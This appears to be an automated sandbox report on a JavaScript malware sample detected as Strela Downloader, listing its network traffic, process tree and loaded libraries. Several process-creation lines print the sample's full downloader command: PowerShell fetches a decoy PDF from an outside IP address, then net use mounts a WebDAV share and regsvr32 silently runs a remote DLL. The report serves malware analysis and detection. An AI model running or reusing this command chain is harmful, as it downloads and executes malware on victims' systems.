HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000002.00000003.2390861182.0000027DEDBC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 0000000D.00000002.2456375316.000001B59BF5A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.2456375316.000001B59BF28000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.2456375316.000001B59BF7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 0000000D.00000002.2456375316.000001B59BF5A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/U
Source: net.exe, 0000000D.00000002.2456375316.000001B59BF28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pW
Source: net.exe, 0000000D.00000002.2456375316.000001B59BF28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/space
Source: svchost.exe, 0000000F.00000002.3671596385.000001FCE5000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.15.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.14.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.15.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000F.00000003.2457967736.000001FCE4E80000.00000004.00000800.00020000.00000000.sdmp, edb.log.15.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 5660, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 299273933818721331.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4460:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_actbt5ph.dvo.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\299273933818721331.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1704,i,5724729208234068198,5192370386551454736,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1704,i,5724729208234068198,5192370386551454736,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
